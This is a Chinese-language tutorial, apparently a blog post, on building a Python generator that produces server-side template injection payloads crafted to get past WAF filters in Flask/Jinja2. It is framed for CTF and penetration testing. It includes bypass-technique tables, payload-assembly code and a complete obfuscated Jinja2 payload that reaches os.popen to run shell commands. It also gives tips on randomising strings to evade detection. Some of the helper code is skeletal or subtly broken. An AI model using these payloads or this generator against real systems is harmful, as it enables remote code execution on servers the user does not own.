别再死记硬背SSTI Payload了!手把手教你用Python脚本自动化生成绕过WAF的注入语句
从零构建SSTI Payload生成器:Python自动化对抗WAF实战手册
在CTF竞赛和渗透测试中,遇到SSTI漏洞却因WAF规则束手无策?传统的手工构造Payload方式不仅效率低下,而且难以应对动态变化的过滤规则。本文将带你用Python打造一个智能化的SSTI Payload生成引擎,实现从规则分析到绕过方案的全自动输出。
1. 理解SSTI与WAF的对抗本质
模板注入漏洞的本质在于服务端对用户输入的不当处理,而现代WAF通常采用多层防御机制:
- 字符黑名单:过滤
_、.、[]等关键符号 - 关键词检测:拦截
__class__、os、popen等敏感字符串 - 语法分析:识别
{{}}等模板语法特征 - 行为监控:检测异常的子进程创建行为
我们的生成器需要模拟攻击者的思维过程:
- 识别被过滤的字符和关键词
- 寻找等价的替代表达方式
- 组合多种绕过技术形成有效载荷
- 验证Payload的有效性
# 基础绕过技术映射表 BYPASS_TECHNIQUES = { 'dot': ['[]', '|attr', 'format'], 'underscore': ['\\u005f', '\\x5f', 'format'], 'brackets': ['__getitem__', 'pop'], 'quotes': ['request', 'chr', 'join'] }2. 构建Payload生成引擎核心架构
2.1 规则解析模块设计
首先需要设计一个灵活的规则解析器,用于处理各种过滤条件:
class RuleParser: def __init__(self, filter_rules): self.forbidden_chars = set() self.forbidden_keywords = set() self.parse_rules(filter_rules) def parse_rules(self, rules): # 实现规则解析逻辑 for rule in rules.split(','): if rule.startswith('char:'): self.forbidden_chars.add(rule[5:]) elif rule.startswith('kw:'): self.forbidden_keywords.add(rule[3:])2.2 绕过策略选择算法
基于解析出的规则,动态选择最优绕过策略:
def select_bypass_strategy(self, target): strategies = [] if '_' in target and '_' in self.forbidden_chars: strategies.append('unicode') strategies.append('hex') if '.' in target and '.' in self.forbidden_chars: strategies.append('bracket') strategies.append('attr') return strategies3. 实现关键绕过技术生成器
3.1 Unicode编码转换器
将敏感字符转换为Unicode转义序列:
def unicode_encode(self, payload): encoded = [] for char in payload: if char in self.forbidden_chars: encoded.append(f'\\u{ord(char):04x}') else: encoded.append(char) return ''.join(encoded)3.2 属性访问替代方案
提供多种属性访问方式的转换:
| 原始写法 | 替代方案1 | 替代方案2 |
|---|---|---|
x.__class__ | x["__class__"] | `x |
x[0] | x.__getitem__(0) | x.pop(0) |
def convert_attribute_access(self, code): if '.' in self.forbidden_chars: return code.replace('.', '[') + ']' return code4. 动态Payload组装系统
4.1 模块化Payload组件
将Payload分解为可替换的组件:
PAYLOAD_COMPONENTS = { 'class': ["__class__", "\\u005f\\u005fclass\\u005f\\u005f"], 'base': ["__base__", "['__base__']"], 'subclasses': ["__subclasses__()", "|attr('__subclasses__')()"] }4.2 智能组装算法
def assemble_payload(self, components): selected = [] for comp in components: variants = PAYLOAD_COMPONENTS.get(comp, [comp]) for variant in variants: if not self.rule_parser.is_blocked(variant): selected.append(variant) break return ''.join(selected)5. 实战案例:生成Flask/Jinja2绕过Payload
假设遇到以下过滤规则:
- 禁止字符:
_、.、[、] - 禁止关键词:
class、base、os
我们的生成器将自动生成如下绕过方案:
{% set a=(lipsum|string|list).pop(18) %} {% set b=(lipsum|string|list).pop(9) %} {{()|attr(a~a~'cla'~'ss'~a~a)|attr(a~a~'ba'~'se'~a~a)|attr(a~a~'subcla'~'sses'~a~a)()|attr('__getitem__')(117)|attr(a~a~'init'~a~a)|attr(a~a~'glo'~'bals'~a~a)|attr('__getitem__')('o'~'s')|attr('po'~'pen')('ls')|attr('read')()}}6. 高级功能扩展
6.1 上下文感知生成
通过分析响应内容自动调整策略:
def analyze_response(self, response): if "WAF blocked" in response: self.adjust_strategy(aggressiveness=0.5) elif "syntax error" in response: self.fix_syntax_errors()6.2 多阶段测试框架
- 探测阶段:发送无害测试Payload
- 分析阶段:识别过滤模式
- 生成阶段:创建针对性绕过方案
- 验证阶段:确认Payload有效性
class TestingFramework: def run_test_cycle(self, target_url): probe_result = self.send_probes() analysis = self.analyze_responses(probe_result) payload = self.generate_payload(analysis) return self.validate_payload(payload)7. 工程化实践建议
在实际应用中,还需要考虑以下优化点:
- 性能优化:使用LRU缓存已生成的Payload
- 隐蔽性增强:随机化字符串拼接方式
- 错误处理:实现自动回退机制
- 日志记录:保存成功的绕过模式
# Payload缓存实现示例 from functools import lru_cache @lru_cache(maxsize=100) def generate_cached_payload(rules, target): return generator.generate(rules, target)通过系统化的设计和实现,这个Payload生成器不仅能大幅提升CTF竞赛效率,也为企业安全团队提供了自动化测试SSTI防护能力的有效工具。记住,真正的价值不在于Payload本身,而在于理解WAF的运作机制和开发对抗策略的思考过程。
